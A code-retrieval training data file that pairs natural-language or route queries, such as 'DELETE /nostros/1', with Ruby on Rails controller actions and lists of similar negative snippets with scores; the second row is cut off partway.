query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
sequencelengths 0
101
| negative_scores
sequencelengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
DELETE /nostros/1 DELETE /nostros/1.xml | def destroy
@nostro = Nostro.find(params[:id])
@nostro.destroy
respond_to do |format|
format.html { redirect_to(nostros_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @domino = Domino.find(params[:id])\n @domino.destroy\n\n respond_to do |format|\n format.html { redirect_to(dominos_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @suministro = Suministro.find(params[:id])\n @suministro.destroy\n\n respond_to do |format|\n format.html { redirect_to(suministros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nossos_servico = NossosServico.find(params[:id])\n @nossos_servico.destroy\n\n respond_to do |format|\n format.html { redirect_to(nossos_servicos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nomina.destroy\n\n respond_to do |format|\n format.html { redirect_to(nominas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nom = Nom.find(params[:id])\n @nom.destroy\n\n respond_to do |format|\n format.html { redirect_to(noms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @distribuidora = Distribuidora.find(params[:id])\n @distribuidora.destroy\n\n respond_to do |format|\n format.html { redirect_to(distribuidoras_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rubro.destroy\n\n respond_to do |format|\n format.html { redirect_to(rubros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @remocao = Remocao.find(params[:id])\n @remocao.destroy\n\n respond_to do |format|\n format.html { redirect_to(remocaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tiposproceso = Tiposproceso.find(params[:id])\n @tiposproceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(tiposprocesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reclamo = Reclamo.find(params[:id])\n @reclamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_de_documento = TipoDeDocumento.find(params[:id])\n @tipo_de_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipos_de_documento_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @segmento = Segmento.find(params[:id])\n @segmento.destroy\n\n respond_to do |format|\n format.html { redirect_to(segmentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @rendezvouz = Rendezvouz.find(params[:id])\n @rendezvouz.destroy\n\n respond_to do |format|\n format.html { redirect_to(rendezvouzs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @catastrosdato = Catastrosdato.find(params[:id])\n @catastrosdato.destroy\n\n respond_to do |format|\n format.html { redirect_to(catastrosdatos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_restaurante = TipoRestaurante.find(params[:id])\n @tipo_restaurante.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_restaurantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reclamacao = Reclamacao.find(params[:id])\n @reclamacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamacaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(dossiers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @carro = Carro.find(params[:id])\n @carro.destroy\n\n respond_to do |format|\n format.html { redirect_to(carros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @contrato = Contrato.find(params[:id])\n @contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(contratos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @Roc = Roc.find(params[:id])\n @Roc.destroy\n\n respond_to do |format|\n format.html { redirect_to(Rocs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recursorevision = @solicitud.recursosrevision.find(params[:id])\n @recursorevision.destroy\n\n respond_to do |format|\n format.html { redirect_to(solicitud_recursosrevision_url(@solicitud), :notice => \"Recurso de revisión eliminado con exito.\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reputacao_veiculo = ReputacaoVeiculo.find(params[:id])\n @reputacao_veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reputacao_veiculos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @prestamo = Prestamo.find(params[:id])\n @prestamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(prestamos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @asistencia = Asistencia.find(params[:id])\n @asistencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(asistencias_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n @proceso = Proceso.find(params[:id])\n @proceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(procesos_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @tcliente = Tcliente.find(params[:id])\n @tcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to(tclientes_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @conteudo = Conteudo.find(params[:id])\n @conteudo.destroy\nt=0\n respond_to do |format|\n format.html { redirect_to(exclusao_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to(clientes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to(clientes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @tipo_vinculo = TipoVinculo.find(params[:id])\n @tipo_vinculo.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_vinculos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n @regiaos = Regiao.find(params[:id])\n @regiaos.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @leilao = Leilao.find(params[:id])\n @leilao.destroy\n\n respond_to do |format|\n format.html { redirect_to(leilaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @calidadtiposdocumento = Calidadtiposdocumento.find(params[:id])\n @calidadtiposdocumento.destroy\n\n respond_to do |format|\n format.html { redirect_to(calidadtiposdocumentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_conta = TipoConta.find(params[:id])\n @tipo_conta.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_contas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to(avisos_url) }\n format.xml { head :ok }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @estagio = Estagio.find(params[:id])\n @estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(estagios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @coleccionista = Coleccionista.find(params[:id])\n @coleccionista.destroy\n\n respond_to do |format|\n format.html { redirect_to(coleccionistas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @silo = Silo.find(params[:id])\n @silo.destroy\n\n respond_to do |format|\n format.html { redirect_to(silos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @noticium = Noticium.find(params[:id])\n @noticium.destroy\n\n respond_to do |format|\n format.html { redirect_to(noticia_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vicariato = Vicariato.find(params[:id])\n @vicariato.destroy\n\n respond_to do |format|\n format.html { redirect_to(vicariatos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hcontrato = Hcontrato.find(params[:id])\n @hcontrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(hcontratos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @senhas = Senha.find(params[:id])\n @senhas.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entrada = Entrada.find(params[:id])\n @entrada.destroy\n\n respond_to do |format|\n format.html { redirect_to(mngr_entradas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @unidad = Unidad.find(params[:id])\n @unidad.destroy\n\n respond_to do |format|\n format.html { redirect_to(unidades_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @precio = Precio.find(params[:id])\n @precio.destroy\n\n respond_to do |format|\n format.html { redirect_to(precios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @norma = Norma.find(params[:id])\n @norma.destroy\n\n respond_to do |format|\n format.html { redirect_to(normas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vestimenta = Vestimenta.find(params[:id])\n @vestimenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(vestimentas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @receita = Receita.find(params[:id])\n @receita.destroy\n\n respond_to do |format|\n format.html { redirect_to(receitas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bairro = Bairro.find(params[:id])\n @bairro.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_bairros_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(cuentas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(cuentas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cuenta = Cuenta.find(params[:id])\n @cuenta.destroy\n\n respond_to do |format|\n format.html { redirect_to(cuentas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_lancamento = TipoLancamento.find(params[:id])\n @tipo_lancamento.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_lancamentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_articulo = TipoArticulo.find(params[:id])\n @tipo_articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_articulos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_nota = TipoNota.find(params[:id])\n @tipo_nota.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_notas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @livro = Livro.find(params[:id])\n @livro.destroy\n\n respond_to do |format|\n format.html { redirect_to(livros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipos_contratos_url) }\n format.xml { head :ok }\n end\n end"
] | [
"0.70827276",
"0.68553454",
"0.6797858",
"0.6762885",
"0.67520285",
"0.66067946",
"0.6577651",
"0.65543896",
"0.6553366",
"0.6544849",
"0.65077657",
"0.6503192",
"0.64978135",
"0.6471474",
"0.64684904",
"0.6454236",
"0.6452577",
"0.6452577",
"0.6452577",
"0.6452577",
"0.6452577",
"0.64416164",
"0.64398",
"0.64380074",
"0.64341486",
"0.643366",
"0.6432133",
"0.6417603",
"0.63965863",
"0.63946426",
"0.6382829",
"0.6370705",
"0.63660026",
"0.6364822",
"0.6364443",
"0.6363096",
"0.6352652",
"0.63504416",
"0.63504416",
"0.63496727",
"0.6348729",
"0.63464475",
"0.63326216",
"0.6329474",
"0.63291204",
"0.63229316",
"0.6317503",
"0.6314445",
"0.6312819",
"0.6310955",
"0.6293391",
"0.6290595",
"0.62823224",
"0.62710696",
"0.6270397",
"0.627004",
"0.6270029",
"0.6262255",
"0.6262255",
"0.6262146",
"0.6262067",
"0.62611073",
"0.6255409",
"0.6251299",
"0.6245777",
"0.62446177",
"0.62446004",
"0.62438816",
"0.62409335",
"0.6237212",
"0.6234413",
"0.62299407",
"0.6223302",
"0.62232465",
"0.6223061",
"0.6222196",
"0.6221468",
"0.6221342",
"0.6220851",
"0.62176865",
"0.6216974",
"0.6216974",
"0.62156045",
"0.6215577",
"0.6207047",
"0.62032545",
"0.620234",
"0.6196826",
"0.61965555",
"0.6190809",
"0.6190055",
"0.61899346",
"0.61899346",
"0.61899346",
"0.61873513",
"0.6185751",
"0.6183628",
"0.61820686",
"0.61804754",
"0.6180168"
] | 0.70654964 | 1 |
If children need to do anything special on apply, now's their chance. | def apply_children
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def children\n child_check\n super\n end",
"def child_condition; end",
"def pre_apply_child(child_index, workitem, forget)\n\n child_fei = h.fei.merge(\n 'expid' => \"#{h.fei['expid']}_#{child_index}\",\n 'subid' => Ruote.generate_subid(h.fei.inspect))\n\n h.children << child_fei unless forget\n\n msg = {\n 'fei' => child_fei,\n 'tree' => tree.last[child_index],\n 'parent_id' => forget ? nil : h.fei,\n 'variables' => forget ? compile_variables : nil,\n 'workitem' => workitem\n }\n msg['forgotten'] = true if forget\n\n msg\n end",
"def apply_to_children(&block)\n self.entities.each do |entity|\n block.call(entity)\n entity.apply_to_children(&block)\n end\n end",
"def item_apply(user, item)\n super\n if item.damage.element_id < 0\n user.atk_elements.each do |e|\n $game_party.add_bestiary_data(@enemy_id, :ele, e)\n end\n else\n $game_party.add_bestiary_data(@enemy_id, :ele, item.damage.element_id)\n end\n end",
"def ignore_children!\n @ignoring_children += 1\n end",
"def total_child_count\n count = 0\n self.apply_to_children { |e| count += 1 }\n count\n end",
"def child_check\n if @children.nil? or @children.empty?\n get_children unless @already_fetched_children\n @already_fetched_children = true\n end\n end",
"def allowed_children; end",
"def update_children_moderation_flag\n if self.changed.include?('moderation_flag') and self.content.has_children?\n self.content.children.each do |child|\n similiar_submissions = Submission.where(:content_id => child.id, :feed_id => self.feed_id, :moderation_flag => self.moderation_flag_was)\n similiar_submissions.each do |child_submission|\n child_submission.update_attributes({:moderation_flag => self.moderation_flag, :moderator_id => self.moderator_id})\n end\n end\n end\n end",
"def update_child_moderation\n if self.changed.include?('moderation_flag') and self.content.has_children?\n self.content.children.each do |child|\n similiar_submissions = Submission.where(content_id: child.id, feed_id: self.feed_id, moderation_flag: self.moderation_flag_was)\n similiar_submissions.each do |child_submission|\n child_submission.update_attributes({moderation_flag: self.moderation_flag, moderator_id: self.moderator_id})\n end\n end\n end\n end",
"def each_child\n \n end",
"def have_first_child!\n @children << random_sex_baby\n end",
"def needs_playing?\n # if either both children are matches and they both need relevant\n # OR\n # both children are players and both are present\n children.count {|child| child.is_a?(Match) ? child.relevant? : child.present?} == 2\n end",
"def apply_child(child_index, workitem, forget=false)\n\n msg = pre_apply_child(child_index, workitem, forget)\n\n persist_or_raise unless forget\n # no need to persist the parent (this) if the child is to be forgotten\n\n @context.storage.put_msg('apply', msg)\n end",
"def evaluate_children(mode)\n children.collect { |c| c.evaluate mode }\n end",
"def children=(_arg0); end",
"def children=(_arg0); end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def children; end",
"def override_probability_if_won_or_lost\n unless self.stage.blank?\n self.probability = 100 if self.stage.won?\n self.probability = 0 if self.stage.lost?\n end\n end",
"def children_duration=(_arg0); end",
"def descendants_affected\n descendants\n end",
"def process_child_nodes(node); end",
"def calculate_and_assign_scores_recursively(options = {})\n childs_family_scores = [ ]\n children = options[:taxon].nil? ? Ggi::Classification.roots : options[:taxon].children\n if children\n children.each do |child_taxon|\n if child_taxon.family?\n # if we have a family, then apply its score and return it\n calculate_score_for_family(child_taxon)\n childs_family_scores << child_taxon.score\n else\n # higher taxa will keep track of the families if its children\n childs_family_scores += calculate_and_assign_scores_recursively(\n options.merge({ taxon: child_taxon }))\n end\n end\n # we started at the root, and now we're back so we're done\n return unless options[:taxon]\n options[:taxon].score = childs_family_scores.empty? ? DEFAULT_SCORE :\n childs_family_scores.inject(:+) / childs_family_scores.length\n end\n childs_family_scores\n end",
"def add_bobchild_reationships(bobchildren_ids)\n bobchildren_ids.each do |child_id|\n u = User.find(child_id)\n if u.has_bobfather?\n # This is A CONFIRMATION of the bobfatherhood \n if ( (u.bobfather == self) and \n (u.bobfather_rel[:state] == PROPOSED_BY_CHILD) )\n u.bobfather_rel[:state] = CONFIRMED\n end\n # if u.bobfather != self DO NOTHING b/c da child has ownship of \n # WHO IS MY BOBFATHER \n else\n u.bobfather = self \n # do state machine\n u.bobfather_rel[:state] = PROPOSED_BY_FATHER\n end\n u.save\n end\n end",
"def passing_rushing_penalty_children(hash, xml)\n %w(passing rushing penalty).each do |stat|\n hash[stat.to_sym] = xml.xpath(stat).first.children.first.text.to_i\n end\n end",
"def apply_child (child_index, workitem)\n\n child_index, child = if child_index.is_a?(Integer)\n [ child_index, raw_children[child_index] ]\n else\n [ raw_children.index(child_index), child_index ]\n end\n\n get_expression_pool.tlaunch_child(\n self, child, child_index, workitem, :register_child => true)\n end",
"def parent_has_constraints_on_children?\n parent_tag[:definition][:only_allow] != nil\n end",
"def item_apply(user, item)\n @result.clear\n @result.used = item_test(user, item)\n @result.missed = (@result.used && rand >= item_hit(user, item))\n @result.evaded = ([email protected] && rand < item_eva(user, item))\n if @result.hit?\n unless item.damage.none?\n @result.critical = (rand < item_cri(user, item))\n make_damage_value(user, item)\n execute_damage(user)\n end\n item.effects.each {|effect| item_effect_apply(user, item, effect) }\n item_user_effect(user, item)\n end\n end",
"def children_duration; end",
"def run_callbacks(kind, *args, &block)\n run_cascading_callbacks(cascadable_children(kind), kind, *args) {}\n super(kind, *args, &block)\n end",
"def test(data)\n if @nominal\n @children.each_with_index do |child, ind|\n child.test(data) if data.vals[@att] == @@nom_choices[@att][ind]\n end\n else # continuous\n if data.vals[@att].to_f < @thresh # > on one side, <= on oter\n @children.first.test(data)\n else\n @children[1].test(data)\n end\n end\n end",
"def applyBadConsequence(m)\n if(m.getBadConsequence.isDeath)\n discardAllTreasures\n else\n decrementLevels(m.getBadConsequence.getLevels)\n pbc=m.getBadConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pbc)\n end\n\n end",
"def children_with_results\n children.select(&:any_results_including_children?)\n end",
"def child_overlap (child,child_changed = child)\n # DEBUG \"child_overlap(#{child},\\n #{child_changed}) called\"\n # DEBUG (@children - [child]).inspect\n child_changed.bounding_box.\n overlap_area_sum((@children - [child]).map(&:bounding_box))\n # DEBUG \"child_overlap finished\"\n end",
"def child_check(level, child_data, local_nesting, expected, match_value)\n matched = child_data.select do |item|\n nest_match_attributes(item, local_nesting, expected, match_value)\n end\n level[:comparison].compare(matched.count)\nend",
"def set_restrictions_to_child_pages\n self.descendants.map do |c|\n c.update_attributes(:restricted => self.restricted?)\n end\n end",
"def item_effect(item)\n # Clear critical flag\n self.critical = false\n # If item scope is for ally with 1 or more HP, and your own HP = 0,\n # or item scope is for ally with 0 HP, and your own HP = 1 or more\n if ((item.scope == 3 or item.scope == 4) and self.hp == 0) or\n ((item.scope == 5 or item.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= item.common_event_id > 0\n # Determine hit\n hit_result = (rand(100) < item.hit)\n # Set effective flag is skill is uncertain\n effective |= item.hit < 100\n # If hit occurs\n if hit_result == true\n # Calculate amount of recovery\n recover_hp = maxhp * item.recover_hp_rate / 100 + item.recover_hp\n recover_sp = maxsp * item.recover_sp_rate / 100 + item.recover_sp\n if recover_hp < 0\n recover_hp += self.pdef * item.pdef_f / 20\n recover_hp += self.mdef * item.mdef_f / 20\n recover_hp = [recover_hp, 0].min\n end\n # Element correction\n recover_hp *= elements_correct(item.element_set)\n recover_hp /= 100\n recover_sp *= elements_correct(item.element_set)\n recover_sp /= 100\n # Dispersion\n if item.variance > 0 and recover_hp.abs > 0\n amp = [recover_hp.abs * item.variance / 100, 1].max\n recover_hp += rand(amp+1) + rand(amp+1) - amp\n end\n if item.variance > 0 and recover_sp.abs > 0\n amp = [recover_sp.abs * item.variance / 100, 1].max\n recover_sp += rand(amp+1) + rand(amp+1) - amp\n end\n # If recovery code is negative\n if recover_hp < 0\n # Guard correction\n if self.guarding?\n recover_hp /= 2\n end\n end\n # Set damage value and reverse HP recovery amount\n self.damage = -recover_hp\n # HP and SP recovery\n last_hp = self.hp\n last_sp = self.sp\n self.hp += recover_hp\n self.sp += recover_sp\n effective |= self.hp != last_hp\n effective |= self.sp != last_sp\n # State change\n @state_changed = false\n effective |= states_plus(item.plus_state_set)\n effective |= states_minus(item.minus_state_set)\n # If parameter value increase is effective\n if item.parameter_type > 0 and item.parameter_points != 0\n # Branch by parameter\n case item.parameter_type\n when 1 # Max HP\n @maxhp_plus += item.parameter_points\n when 2 # Max SP\n @maxsp_plus += item.parameter_points\n when 3 # Strength\n @str_plus += item.parameter_points\n when 4 # Dexterity\n @dex_plus += item.parameter_points\n when 5 # Agility\n @agi_plus += item.parameter_points\n when 6 # Intelligence\n @int_plus += item.parameter_points\n end\n # Set to effective flag\n effective = true\n end\n # If HP recovery rate and recovery amount are 0\n if item.recover_hp_rate == 0 and item.recover_hp == 0\n # Set damage to empty string\n self.damage = \"\"\n # If SP recovery rate / recovery amount are 0, and parameter increase\n # value is ineffective.\n if item.recover_sp_rate == 0 and item.recover_sp == 0 and\n (item.parameter_type == 0 or item.parameter_points == 0)\n # If state is unchanged\n unless @state_changed\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n end\n end\n # If miss occurs\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n # If not in battle\n unless $game_temp.in_battle\n # Set damage to nil\n self.damage = nil\n end\n # End Method\n return effective\n end",
"def run_cascading_callbacks(children, kind, *args, &block)\n if child = children.pop\n run_cascading_callbacks(children, kind, *args) do\n child.run_callbacks(child_callback_type(kind, child), *args) do\n block.call\n end\n end\n else\n block.call\n end\n end",
"def valid_child(le)\n\t\t\treturn false\n\t\tend",
